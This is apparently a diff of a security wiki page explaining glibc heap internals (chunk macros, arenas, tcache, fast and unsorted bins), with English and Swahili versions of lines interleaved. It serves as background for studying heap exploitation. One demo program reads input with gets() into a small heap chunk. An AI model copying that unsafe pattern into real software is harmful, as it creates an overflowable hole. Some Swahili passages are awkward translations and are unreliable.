if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
return request2size (req);
return request2size (req);
}
```
Kumbuka kwamba kwa kuhesabu nafasi yote inayohitajika, `SIZE_SZ` inaongezwa mara moja tu kwa sababu uwanja wa `prev_size` unaweza kutumika kuhifadhi data, hivyo basi kichwa cha awali pekee kinahitajika.
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
### Pata data ya Chunk na badilisha metadata
### Get Chunk data and alter metadata
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
Hizi kazi zinafanya kazi kwa kupokea kiashiria kwa chunk na ni muhimu kuangalia/kweka metadata:
- Angalia bendera za chunk
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
- Sizes and pointers to other chunks
- Sizes na viashiria kwa vipande vingine
```c
/*
Bits to mask off when extracting size
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Insue bit
```c
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Set head and footer (when chunk nos in use
- Weka kichwa na mguu (wakati nambari za sehemu zinatumika)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Get the size of the real usable data inside the chunk
- Pata ukubwa wa data halisi inayoweza kutumika ndani ya kipande
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */
dumped heap chunks. */
#define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule.");
"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}
```
## Mifano
## Examples
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
### Mfano wa Haraka wa Heap
Mfano wa haraka wa heap kutoka [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) lakini katika arm64:
```c
#include <stdio.h>
#include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Set a breakpoint at the end of the main function and lets find out where the information was stored:
Weka breakpoint mwishoni mwa kazi kuu na tuone ni wapi taarifa zilihifadhiwa:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
Inawezekana kuona kwamba mfuatano panda ulihifadhiwa kwenye `0xaaaaaaac12a0` (ambayo ilikuwa anwani iliyotolewa kama jibu na malloc ndani ya `x0`). Kuangalia 0x10 bytes kabla inawezekana kuona kwamba `0x0` inawakilisha kwamba **kipande cha awali hakijatumika** (urefu 0) na kwamba urefu wa kipande hiki ni `0x21`.
Nafasi za ziada zilizohifadhiwa (0x21-0x10=0x11) zinatokana na **vichwa vilivyoongezwa** (0x10) na 0x1 haimaanishi kwamba ilihifadhiwa 0x21B bali bits tatu za mwisho za urefu wa kichwa cha sasa zina maana maalum. Kwa kuwa urefu daima umewekwa sawa na byte 16 (katika mashine za 64bits), bits hizi kwa kweli hazitakuwa zitatumika na nambari ya urefu.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Multithreading Example
### Mfano wa Multithreading
<details>
<summary>Multithread</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n");
printf("Hello from thread 2\n");
}
int main() {
pthread_t t1;
void* s;
int ret;
char* addr;
pthread_t t1;
void* s;
int ret;
char* addr;
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n");
getchar();
printf("Before exit\n");
getchar();
return 0;
return 0;
}
```
</details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
Kwa kuangalia mfano wa awali, inawezekana kuona jinsi mwanzoni kuna arena 1 tu:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created:
Kisha, baada ya kuita thread ya kwanza, ile inayoiita malloc, arena mpya inaundwa:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found:
na ndani yake kuna chunks kadhaa zinazoweza kupatikana:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
## Bins & Allocations za Kumbukumbu
Check what are the bins and how are they organized and how memory is allocated and freed in:
Angalia ni zipi bins na jinsi zilivyoandaliwa na jinsi kumbukumbu inavyotolewa na kuachiliwa katika:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
## Heap Functions Security Checks
## Ukaguzi wa Usalama wa Fungsi za Heap
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
Fungsi zinazohusiana na heap zitafanya ukaguzi fulani kabla ya kutekeleza vitendo vyake ili kujaribu kuhakikisha kuwa heap haijaharibiwa:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Marejeleo
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

View File

@ -4,58 +4,53 @@
## Basic Information
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
Ili kuboresha ufanisi wa jinsi vipande vinavyohifadhiwa, kila kipande hakiko tu katika orodha moja iliyo na uhusiano, bali kuna aina kadhaa. Hizi ni bins na kuna aina 5 za bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins ndogo, 63 bins kubwa, 1 bin isiyo na mpangilio, 10 bins za haraka na 64 bins za tcache kwa kila thread.
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
Anwani ya awali kwa kila bin isiyo na mpangilio, ndogo na kubwa iko ndani ya array moja. Index 0 haitumiki, 1 ni bin isiyo na mpangilio, bins 2-64 ni bins ndogo na bins 65-127 ni bins kubwa.
### Tcache (Per-Thread Cache) Bins
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
Ingawa nyuzi zinajaribu kuwa na heap zao (ona [Arenas](bins-and-memory-allocations.md#arenas) na [Subheaps](bins-and-memory-allocations.md#subheaps)), kuna uwezekano kwamba mchakato wenye nyuzi nyingi (kama seva ya wavuti) **utashiriki heap na nyuzi nyingine**. Katika kesi hii, suluhisho kuu ni matumizi ya **lockers**, ambayo yanaweza **kuchelewesha sana nyuzi**.
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Kwa hivyo, tcache ni sawa na bin ya haraka kwa kila thread kwa njia kwamba ni **orodha moja iliyo na uhusiano** ambayo haiunganishi vipande. Kila thread ina **bins 64 za tcache zenye uhusiano mmoja**. Kila bin inaweza kuwa na kiwango cha juu cha [7 vipande vya saizi sawa](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) vinavyotofautiana kutoka [24 hadi 1032B kwenye mifumo ya 64-bit na 12 hadi 516B kwenye mifumo ya 32-bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
**Wakati thread inachomoa** kipande, **ikiwa si kikubwa sana** kuweza kutengwa katika tcache na bin husika ya tcache **haiwezi kuwa kamili** (tayari kuna vipande 7), **itawekwa hapo**. Ikiwa haiwezi kuingia kwenye tcache, itahitaji kusubiri kufungwa kwa heap ili iweze kufanya operesheni ya kuachia kwa kiwango cha kimataifa.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
Wakati **kipande kinapowekwa**, ikiwa kuna kipande kilichochomolewa cha saizi inayohitajika katika **Tcache itakitumia**, ikiwa sivyo, itahitaji kusubiri kufungwa kwa heap ili iweze kupata moja katika bins za kimataifa au kuunda mpya.\
Pia kuna uboreshaji, katika kesi hii, wakati wa kuwa na kufungwa kwa heap, thread **itajaza Tcache yake na vipande vya heap (7) vya saizi iliyohitajika**, hivyo ikiwa inahitaji zaidi, itavipata katika Tcache.
<details>
<summary>Add a tcache chunk example</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
}
```
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
Kusanya na kukarabati na breakpoint katika opcode ya ret kutoka kwa kazi ya main. Kisha kwa gef unaweza kuona tcache bin inatumika:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
</details>
#### Tcache Structs & Functions
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
Katika msimbo ufuatao inawezekana kuona **max bins** na **chunks per index**, muundo wa **`tcache_entry`** ulioandaliwa ili kuepuka uhuru mara mbili na **`tcache_perthread_struct`**, muundo ambao kila thread inatumia kuhifadhi anwani za kila index ya bin.
<details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
<summary><code>tcache_entry</code> na <code>tcache_perthread_struct</code></summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */
of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
</details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
Kazi ya `__tcache_init` ni kazi inayounda na kugawa nafasi kwa ajili ya `tcache_perthread_struct` obj
<details>
<summary>tcache_init code</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
</details>
#### Tcache Indexes
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
Tcache ina bins kadhaa kulingana na saizi na viashiria vya awali kwa **chunk ya kwanza ya kila index na idadi ya chunks kwa index ziko ndani ya chunk**. Hii inamaanisha kwamba kutafuta chunk na habari hii (kawaida ya kwanza), inawezekana kupata viashiria vyote vya tcache na idadi ya Tcache chunks.
### Fast bins
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
Fast bins zimeundwa ili **kuharakisha ugawaji wa kumbukumbu kwa chunks ndogo** kwa kuweka chunks zilizofutwa hivi karibuni katika muundo wa upatikanaji wa haraka. Bins hizi hutumia mbinu ya Last-In, First-Out (LIFO), ambayo inamaanisha kwamba **chunk iliyofutwa hivi karibuni ndiyo ya kwanza** kutumika tena wakati kuna ombi jipya la ugawaji. Tabia hii ni ya faida kwa kasi, kwani ni haraka zaidi kuingiza na kuondoa kutoka juu ya stack (LIFO) ikilinganishwa na foleni (FIFO).
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
Zaidi ya hayo, **fast bins hutumia orodha zilizounganishwa kwa njia moja**, si mbili, ambayo inaboresha zaidi kasi. Kwa kuwa chunks katika fast bins hazijachanganywa na majirani, hakuna haja ya muundo mgumu unaoruhusu kuondoa kutoka katikati. Orodha iliyo na uhusiano mmoja ni rahisi na haraka kwa shughuli hizi.
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
Kimsingi, kinachotokea hapa ni kwamba kichwa (kiashiria kwa chunk ya kwanza ya kuangalia) daima kinaelekeza kwa chunk iliyofutwa hivi karibuni ya saizi hiyo. Hivyo:
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
- Wakati chunk mpya inatolewa ya saizi hiyo, kichwa kinaelekeza kwa chunk ya bure ya kutumia. Kwa kuwa chunk hii ya bure inaelekeza kwa chunk inayofuata ya kutumia, anwani hii inahifadhiwa katika kichwa ili ugawaji ujao ujue wapi kupata chunk inayopatikana
- Wakati chunk inafutwa, chunk ya bure itahifadhi anwani ya chunk inayopatikana kwa sasa na anwani ya chunk hii iliyofutwa hivi karibuni itawekwa katika kichwa
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
Saizi ya juu ya orodha iliyo na uhusiano ni `0x80` na zimeandaliwa hivyo chunk ya saizi `0x20` itakuwa katika index `0`, chunk ya saizi `0x30` itakuwa katika index `1`...
> [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
> Chunks katika fast bins hazijapangwa kama zinazopatikana hivyo zinahifadhiwa kama chunks za fast bin kwa muda badala ya kuwa na uwezo wa kuchanganya na chunks nyingine za bure zinazozizunguka.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Fastbins
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
<details>
<summary>Add a fastbin chunk example</summary>
<summary>Ongeza mfano wa kipande cha fastbin</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[8];
int i;
char *chunks[8];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Kumbuka jinsi tunavyopanga na kuachilia vipande 8 vya saizi sawa ili kujaza tcache na kipande cha nane kinahifadhiwa katika fast chunk.
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
Kusanya na kufanyia debug na breakpoint katika opcode ya `ret` kutoka kwa kazi ya `main`. kisha kwa kutumia `gef` unaweza kuona kwamba tcache bin imejaa na kipande kimoja kiko katika fast bin:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Unsorted bin
### Bin isiyo na mpangilio
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
Bin isiyo na mpangilio ni **cache** inayotumiwa na meneja wa heap kufanya ugawaji wa kumbukumbu kuwa wa haraka zaidi. Hivi ndivyo inavyofanya kazi: Wakati programu inapoachilia kipande, na ikiwa kipande hiki hakiwezi kugawanywa katika tcache au fast bin na hakigongani na kipande cha juu, meneja wa heap haweka mara moja katika bin ndogo au kubwa maalum. Badala yake, kwanza hujaribu **kuunganisha na kipande chochote cha jirani kilichopatikana** ili kuunda block kubwa ya kumbukumbu isiyopatikana. Kisha, huweka kipande hiki kipya katika bin ya jumla inayoitwa "bin isiyo na mpangilio."
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
Wakati programu **inapohitaji kumbukumbu**, meneja wa heap **anachunguza bin isiyo na mpangilio** kuona kama kuna kipande cha ukubwa wa kutosha. Ikiwa anakipata, anakitumia mara moja. Ikiwa hakupata kipande kinachofaa katika bin isiyo na mpangilio, anahamisha vipande vyote katika orodha hii kwenye bins zao zinazofaa, ama ndogo au kubwa, kulingana na ukubwa wao.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
